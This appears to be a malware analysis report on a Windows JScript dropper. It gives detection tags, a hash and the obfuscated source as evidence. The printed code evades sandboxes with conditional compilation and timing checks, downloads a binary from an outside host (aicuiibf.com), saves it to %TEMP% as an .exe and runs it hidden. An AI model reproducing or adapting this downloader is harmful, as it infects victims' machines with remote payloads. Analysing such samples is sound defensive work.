20160328_9616d5dde8eacdefeb4e87c95cf2b6ab.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25676811278e7e3b0e41a3dd66f6518cc15713c01cb7771e92732c268abe1a2ff62
Evidence
1var Xmrxhn = false;
2var Ulmxvz = "CreateObject";
3var Ztodktsnj = function Fuqrl() {return WScript[Ulmxvz]("WScript.Shell");}();
4var Aeopvlynlz = 123213;
5var Gchqqfcb = "MSXML2.XMLHTTP";
6var Lkrprndm = 2123213;
7var Awciyjyb = 0;
8function Hihgeha(Hwvuuts){Ztodktsnj["Run"](Hwvuuts, Awciyjyb, Awciyjyb);};
9function Capbt(){return Gchqqfcb;};
10function Vumgtuqm(Aqfezdqzzb, Swose){return Aqfezdqzzb - Swose;};
11function Yalux(){return Ulmxvz;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Xmrxhn = true;
15 @end
16@*/
17var Gdvdhq = "";
18if (Xmrxhn)
19{
20function Ggflq(){return 22;};
21var Sceqtdr = 0; var Wlqszqr = 0;
22function Ngqogygyh()
23{
24var Clikylm = new this["Date"]();
25var Udlvn = Clikylm["getUTCMilliseconds"]();
26WScript["Sleep"](Ggflq());
27var Clikylm = new this["Date"]();
28var Buvilne = Clikylm["getUTCMilliseconds"]();
29WScript["Sleep"](Ggflq());
30var Clikylm = new this["Date"]();
31var Jefndiuo = Clikylm["getUTCMilliseconds"]();
32var Sceqtdr = "Vupoyoj";
33Sceqtdr = Vumgtuqm(Buvilne, Udlvn);
34var Wlqszqr = "Obtbrutuw";
35Wlqszqr = Vumgtuqm(Jefndiuo, Buvilne);
36Gdvdhq = "open";
37return Vumgtuqm(Sceqtdr, Wlqszqr);
38}
39var Dcjcpaqcr = false;
40var Kuxtuusc = false;
41for (var Uamdfjdwgr = Awciyjyb; Uamdfjdwgr < Ggflq() * 1; Uamdfjdwgr++){if (Ngqogygyh() != Awciyjyb){ …
49:9… paqcr && Gvzyhyk() && Kuxtuusc){
50function Ecwkmfvoiy() {return Ztodktsnj["ExpandEnvironmentStrings"]("%TEMP%/") + "lyeCvdK0sXbpSEa.exe";};
51 Ffgoc = Capbt();
52 Vjdbmxufgs = WScript[Ulmxvz](Ffgoc);
53 var Palwn = 1;
54 while (Palwn){
55try {
56Vjdbmxufgs[Gdvdhq]("GET", "http://aicuiibf.com/l30woad", false);
57Vjdbmxufgs["send"]();
58Ehaurnmbz = "Sleep";
59do {WScript[Ehaurnmbz](Ggflq() * 11)} while (Vjdbmxufgs["readystate"] < 4 );
60Palwn = Awciyjyb;
61} catch(Xkvwu){Palwn = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Sytwxkhgxj(Ywtbvwh) {var Dkqgabzlmz = (1, 2, 3, 4, 5, Ywtbvwh); return Dkqgabzlmz;};
64Rqcrm = WScript[Yalux()]("ADODB.Stream");
65Ffgoc = Rqcrm;
66Ffgoc[Gdvdhq]();
67Ffgoc["type"] = Sytwxkhgxj(1);
68Ffgoc["write"](Vjdbmxufgs["ResponseBody"]);
69Rqcrm["position"] = Sytwxkhgxj(Awciyjyb);
70Ffgoc["SaveToFile"](Ecwkmfvoiy(), Sytwxkhgxj(2) );
71Rqcrm["close"]();
72Hihgeha(Ecwkmfvoiy());
73}
74}
75